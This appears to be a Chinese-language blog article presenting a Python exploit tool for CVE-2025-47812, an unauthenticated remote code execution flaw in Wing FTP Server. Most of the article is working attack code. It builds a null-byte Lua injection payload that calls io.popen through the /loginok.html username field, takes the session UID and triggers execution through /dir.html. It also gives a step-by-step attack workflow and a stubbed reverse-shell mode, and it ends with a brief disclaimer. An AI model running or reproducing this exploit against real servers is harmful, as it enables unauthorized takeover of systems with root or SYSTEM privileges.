高危漏洞速查:Wing FTP Server 远程代码执行漏洞利用工具详解

25 阅读5分钟

项目标题与描述

CVE-2025-47812 - Wing FTP Server RCE 漏洞利用工具

本项目是一个针对Wing FTP Server(版本7.4.4之前)中发现的**关键远程代码执行(RCE)**漏洞(CVE-2025-47812)的Python利用工具。该漏洞源于服务器认证逻辑中对用户名参数中空字节(\0)的错误处理,攻击者可通过注入Lua代码实现未经认证的远程命令执行,并在目标系统上以SYSTEM(Windows)或root(Linux/macOS)权限运行代码。

功能特性

  • 双模式利用:提供直接命令执行与反向Shell获取两种攻击方式。
  • 跨平台兼容:支持攻击运行在Windows、Linux及macOS上的易受攻击Wing FTP Server实例。
  • 自动化会话管理:自动从服务器响应中提取UID会话凭证并用于后续请求。
  • 自定义载荷:允许用户灵活指定要执行的系统命令,实现高度定制化攻击。
  • 详细日志输出:提供清晰的请求/响应信息,便于调试与分析攻击过程。
  • 认证旁路:可利用anonymous等用户名在无需有效凭证的情况下实施攻击。

安装指南

该工具为Python脚本,无需复杂安装。

系统要求

  • Python 3.x
  • requests

依赖安装

# 安装必需的Python库
pip install requests

# 或通过requirements.txt安装(如有)
pip install -r requirements.txt

平台注意事项

  • 该工具本身可在任何安装Python的操作系统上运行。
  • 目标必须是运行Wing FTP Server版本<7.4.4的系统。
  • 确保攻击机与目标服务器之间存在网络可达性。

使用说明

基础使用示例

运行脚本后,按提示交互操作:

python3 CVE-2025-47812.py

程序将引导您输入:

  1. 目标URL(如:http://10.10.10.10:5466
  2. 用户名(如:anonymous
  3. 攻击模式选择(1-执行命令,2-获取反向Shell)
  4. 具体命令(模式1时输入)

典型攻击流程

  1. 信息收集:确定目标Wing FTP Server的版本及可访问的管理接口。
  2. 漏洞探测:尝试使用anonymous用户名访问登录端点。
  3. 命令执行:通过注入的Lua代码运行idwhoami等命令验证漏洞。
  4. 权限提升:利用获取的系统权限执行进一步操作。

API接口概览

该工具主要与以下Wing FTP Server端点交互:

  • /loginok.html:POST请求提交恶意用户名载荷,获取UID会话Cookie。
  • /dir.html:携带UID Cookie的GET请求,触发会话文件处理并执行注入的代码。

核心代码

1. UID与恶意Cookie获取函数

此函数构造包含Lua代码注入的用户名参数,向/loginok.html发送POST请求以获取有效的UID会话凭证。

def get_uid_cookie(session, base_url, username, command):
    """
    通过Lua代码注入获取Wing FTP Server的UID会话Cookie
    
    参数:
        session: requests.Session对象
        base_url: 目标服务器基础URL
        username: 用于注入的基础用户名
        command: 要执行的系统命令
    
    返回:
        成功时返回UID字符串,失败返回None
    """
    url = f"{base_url}/loginok.html"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
        "Origin": base_url,
        "Referer": f"{base_url}/login.html",
        # ... 其他请求头省略
    }

    # 关键注入点:在用户名中插入空字节和Lua代码
    encoded_username = quote(username)
    payload = (
        f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")"
        "%0dlocal+r+%3d+h%3aread(\"*a\")"
        "%0dh%3aclose()%0dprint(r)%0d--&password="
    )

    print(f"[*] 尝试获取UID... 载荷: {command}")
    try:
        response = session.post(url, data=payload, headers=headers)
        set_cookie = response.headers.get("Set-Cookie", "")
        # 从Set-Cookie头中提取UID值
        match = re.search(r"UID=([a-f0-9]+)", set_cookie)
        if match:
            uid = match.group(1)
            print(f"[+] UID获取成功: {uid}")
            return uid
        else:
            print("[-] 未找到UID!")
            return None
    except Exception as e:
        print(f"[-] 发生错误: {e}")
        return None

2. 漏洞触发与命令执行函数

此函数使用获取的UID向/dir.html发送请求,触发服务器处理包含恶意Lua代码的会话文件,从而实现远程代码执行。

def post_to_dir(session, base_url, uid):
    """
    向/dir.html端点发送请求触发RCE
    
    参数:
        session: 携带UID Cookie的requests.Session对象
        base_url: 目标服务器基础URL
        uid: 从get_uid_cookie获取的会话ID
    
    返回:
        服务器的响应内容,包含命令执行结果
    """
    url = f"{base_url}/dir.html"
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        # 设置Cookie头,携带有效的UID会话
        "Cookie": f"UID={uid}",
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
        # ... 其他请求头省略
    }
    
    print(f"[*] 发送 /dir.html 请求...")
    try:
        response = session.get(url, headers=headers)
        print(f"[*] HTTP {response.status_code}")
        
        # 输出原始响应,其中包含命令执行结果
        print("------ 响应开始 ------")
        print(response.text)
        print("------ 响应结束 ------")
        
        return response.text
    except Exception as e:
        print(f"[-] 请求失败: {e}")
        return None

3. 漏洞利用流程主逻辑

# 主程序交互逻辑(基于提供的信息重构)
def main():
    """
    漏洞利用工具主函数
    协调整个攻击流程:目标输入、模式选择、载荷生成与执行
    """
    print("=" * 60)
    print("   CVE-2025-47812 - Wing FTP Server RCE Exploit")
    print("=" * 60)
    
    # 1. 获取目标信息
    target_url = input("目标URL (例如: http://localhost:5466): ")
    username = input("用户名 (例如: anonymous): ")
    
    # 2. 选择攻击模式
    print("1) 执行命令")
    print("2) 获取反向Shell")
    choice = input("请选择 (1 或 2): ")
    
    # 3. 根据模式执行相应操作
    if choice == "1":
        # 命令执行模式
        command = input("要执行的命令 (默认: whoami): ") or "whoami"
        
        # 创建会话并获取UID
        session = requests.Session()
        uid = get_uid_cookie(session, target_url, username, command)
        
        if uid:
            # 触发漏洞执行命令
            post_to_dir(session, target_url, uid)
    elif choice == "2":
        # 反向Shell模式(需根据实际情况实现)
        print("[!] 反向Shell功能需根据目标环境定制实现")
        # 此处可扩展实现nc、bash、powershell等反向Shell
    else:
        print("[-] 无效选择")

免责声明:本工具仅用于教育目的与合法的安全研究。请仅在您拥有明确测试权限的系统上使用。作者不对任何滥用或由此工具造成的损害负责。 6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPxOjJ5m5ttnEWSXfJFj0OX